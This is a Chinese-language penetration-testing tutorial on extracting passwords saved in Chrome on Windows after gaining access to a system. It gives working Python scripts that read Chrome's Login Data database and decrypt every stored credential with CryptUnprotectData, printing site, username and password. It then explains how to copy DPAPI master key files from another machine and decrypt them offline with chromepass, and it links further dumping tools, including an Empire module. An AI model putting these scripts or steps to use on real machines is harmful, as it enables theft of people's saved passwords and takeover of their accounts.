渗透技巧——导出Chrome浏览器中保存的密码

2018-05-25

0x00 前言
0x01 简介
0x02 Chrome浏览器保存密码的方式
1. 实际测试：
0x03 导出Chrome浏览器中保存的密码
1. (1)对应解密函数为CryptUnprotectData
2. (2)只有与加密数据的用户具有相同登录凭据的用户才能解密数据

0x04 如何导出另一系统下Chrome浏览器中保存的密码

0x05 开源工具

0x06 小结

0x00 前言

在后渗透阶段，获得权限后需要搜集目标系统的信息。信息越全面，越有助于进一步的渗透。对于Windows系统，用户浏览器往往包含有价值的信息。

在之前的文章《本地密码查看工具LaZagne中的自定义脚本开发》曾介绍过利用LaZagne导出多个浏览器密码的方法。

本文将要针对Chrome浏览器，介绍具体的导出原理和利用方法，解决一个实际问题： 如何导出另一系统下Chrome浏览器中保存的密码？

0x01 简介

本文将要介绍以下内容：

Chrome浏览器保存密码的方式
如何导出Chrome浏览器中保存的密码
常用方法的限制
如何导出另一系统下Chrome浏览器中保存的密码

0x02 Chrome浏览器保存密码的方式

正常用户在访问网站时，可选择使用Chrome浏览器保存登录的用户密码，用于下次登录的时候Chrome自动填写登录密码，如下图

Alt text

在Chrome中可以查看保存的登录密码(需要提供用户口令)，如下图

Alt text

Chrome中保存的密码先被二次加密，然后被保存在SQLite数据库文件中，位置如下：

%LocalAppData%\Google\Chrome\User Data\Default\Login Data

实际测试：

测试系统： Win7x86

Chrome版本： 63.0.3239.132

定位SQLite数据库文件，位于C:\Users\a\AppData\Local\Google\Chrome\User Data\Default\Login Data

使用工具读取数据库文件，测试工具： SQLiteStudio

下载地址：

https://sqlitestudio.pl/index.rvt

注：

SQLiteStudio开源，特点是支持查看十六进制数据(SQLiteSpy不支持查看十六进制数据)

成功读取数据库文件保存的信息，但password段无法显示，如下图

Alt text

选择Form view，查看十六进制格式，获得二次加密后的用户密码，如下图

Alt text

注：

如果Chrome正在运行，无法使用SQLiteStudio打开数据库文件Login Data，可将该文件复制后再打开

0x03 导出Chrome浏览器中保存的密码

首先，编写程序实现读取SQLite数据库文件，这里选择使用python实现

开源代码很多，所以这里只给出一个示例

from os import getenv
import sqlite3
import binascii
conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
    print (binascii.b2a_hex(result[2]))

获得二次加密的用户密码，如下图

Alt text

参考Chromium开源代码，找到Chrome做二次加密的方法： 通过Windows API CryptProtectData()实现

参考加密代码：

https://github.com/scheib/chromium/blob/eb7e2441dd8878f733e43799ea77c2bab66816d3/chrome/browser/password_manager/password_store_win_unittest.cc#L107

CryptProtectData()的说明可参考：

https://msdn.microsoft.com/en-us/library/windows/desktop/aa380261(v=vs.85).aspx

获得关键信息：

(1)对应解密函数为CryptUnprotectData

参考地址：

https://msdn.microsoft.com/en-us/library/windows/desktop/aa380882(v=vs.85).aspx

(2)只有与加密数据的用户具有相同登录凭据的用户才能解密数据

也就是说，只能在当前用户的凭据下解密数据

解密的开源代码也有很多，这里给出一个示例：

from os import getenv
import sqlite3
import win32crypt
import binascii
conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
    password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
    print password

注：

调用win32crypt.CryptUnprotectData需要安装pywin32

下载地址：

http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/pywin32-219.win32-py2.7.exe

执行后，还原用户密码，如下图

Alt text

注：

如果Chrome正在运行，无法查询数据库文件Login Data，显示sqlite3.OperationalError: database is locked

综上，在实际导出的过程中，如果Chrome正在运行，需要先复制数据库文件，再尝试解密

0x04 如何导出另一系统下Chrome浏览器中保存的密码

参照CryptProtectData()的说明，地址如下：

https://msdn.microsoft.com/en-us/library/windows/desktop/aa380261(v=vs.85).aspx

“Usually, the only user who can decrypt the data is a user with the
same logon credentials as the user who encrypted the data.In addition,
the encryption and decryption must be done on the same computer. “

是否可以断定，无法在另一系统下导出Chrome浏览器中保存的密码呢？

答案是否定的

Chrome密码还原工具chromepass提供了一个特别的功能： Reading ChromePass passwords from external drive

chromepass下载地址：

http://www.nirsoft.net/utils/chromepass.html

说明如下：

“you can also read the passwords stored by Chrome Web browser from an
external profile in your current operating system or from another
external drive”

也就是说，使用chromepass能够导出当前系统下另一用户的Chrome密码

操作界面如下图

Alt text

既然如此，如果获得了另一系统下的相关配置文件，能否导出Chrome浏览器中保存的密码呢？

当然可以

解密需要获得三部分内容：

加密密钥(即Master Key文件)，位于%appdata%\Microsoft\Protect下对应sid文件夹下的文件
数据库文件Login Data
用户明文的密码，用于解密加密密钥

由于chromepass程序的设计问题，以上文件需要组成特定格式，子目录格式如下：

\AppData\Local\Google\Chrome\User Data\Default\Login Data
\AppData\Roaming\Microsoft\Protect{sid}}\下保存key文件

注：

{sid}必须同原系统的对应

eg.

\AppData\Local\Google\Chrome\User Data\Default\Login Data

\AppData\Roaming\Microsoft\Protect\S-1-5-21-3453529135-4164765056-1075703908-1001\329c4147-0011-4ad6-829d-e32dcbd1bbd7

如下图

Alt text

使用chromepass选择该目录，填入用户明文密码，如下图

Alt text

成功解密，如下图

Alt text

补充：

chromepass也可在命令行下使用

0x05 开源工具

解密当前系统下Chrome浏览器中保存的密码，可供参考的工具：

命令行工具Chrome Password Dump，下载地址：

http://securityxploded.com/chrome-password-dump.php

powershell实现的工具：

https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/collection/Get-ChromeDump.ps1

python实现代码，可供参考的开源代码：

from os import getenv
import sqlite3
import win32crypt
import binascii
conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
    password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
    if password:
        print 'Site: ' + result[0]
        print 'Username: ' + result[1]
        print 'Password: ' + password
    else:
        print "no password found"

0x06 小结

本文介绍了导出Chrome浏览器密码的原理和利用方法，成功解决一个实际问题： 通过加密密钥文件和用户明文密码，能够导出另一系统下Chrome浏览器中保存的密码

如果只获得了用户密码ntlm hash，能否导出呢？